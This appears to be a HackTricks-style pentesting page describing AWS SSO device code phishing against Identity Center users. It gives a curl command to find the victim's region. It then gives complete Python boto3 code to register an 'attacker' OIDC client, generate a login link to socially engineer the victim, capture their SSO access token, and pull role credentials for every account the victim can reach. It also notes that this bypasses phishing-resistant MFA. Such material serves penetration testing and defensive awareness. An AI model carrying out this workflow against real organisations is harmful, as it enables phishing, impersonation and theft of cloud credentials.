# AWS - Identity Center & SSO Unauthenticated Enum

{{#include ../../../banners/hacktricks-training.md}}

## AWS Device Code Phishing

Initially proposed in [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), it's possible to send a **link** to a user using AWS SSO that if the **user accepts** the attacker will be able to get a **token to impersonate the user** and access all the roles the user is able to access in the **Identity Center**.

In order to perform this attack the requisites are:

- The victim needs to use **Identity Center**
- The attacker must know the **subdomain** used by the victim `<victimsub>.awsapps.com/start`

Just with the previous info, the **attacker will be able to send a link to the user** that if **accepted** will grant the **attacker access over the AWS user** account.

### Attack

1. **Finding the subdomain**

The first step of the attacker is to find out the subdomain the victim company is using in their Identity Center. This can be done via **OSINT** or **guessing + BF** as most companies will be using their name or a variation of their name here.

With this info, it's possible to get the region where the Indentity Center was configured with:

```bash
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
```

2. **Generate the link for the victim & Send it**

Run the following code to generate an AWS SSO login link so the victim can authenticate.\
For the demo, run this code in a python console and do not exit it as later you will need some objects to get the token:

```python
import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
    clientName = 'attacker',
    clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
    clientId=client_id,
    clientSecret=client_secret,
    startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
```

Send the generated link to the victim using you awesome social engineering skills!

3. **Wait until the victim accepts it**

If the victim was **already logged in AWS** he will just need to accept granting the permissions, if he wasn't, he will need to **login and then accept granting the permissions**.\
This is how the promp looks nowadays:

<figure><img src="../../../images/image (343).png" alt="" width="311"><figcaption></figcaption></figure>

4. **Get SSO access token**

If the victim accepted the prompt, run this code to **generate a SSO token impersonating the user**:

```python
token_response = sso_oidc.create_token(
    clientId=client_id,
    clientSecret=client_secret,
    grantType="urn:ietf:params:oauth:grant-type:device_code",
    deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')
```

The SSO access token is **valid for 8h**.

5. **Impersonate the user**

```python
sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
        accessToken=sso_token,
        maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
        accessToken=sso_token,
        accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
        accessToken=sso_token,
        roleName=<role_name>,
        accountId=<account_id>
)
sts_creds.get('roleCredentials')
```

### Phishing the unphisable MFA

It's fun to know that the previous attack **works even if an "unphisable MFA" (webAuth) is being used**. This is because the previous **workflow never leaves the used OAuth domain**. Not like in other phishing attacks where the user needs to supplant the login domain, in the case the device code workflow is prepared so a **code is known by a device** and the user can login even in a different machine. If accepted the prompt, the device, just by **knowing the initial code**, is going to be able to **retrieve credentials** for the user.

For more info about this [**check this post**](https://mjg59.dreamwidth.org/62175.html).

### Automatic Tools

- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication)
- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish)

## References

- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)
- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing)
- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html)
- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth)

{{#include ../../../banners/hacktricks-training.md}}




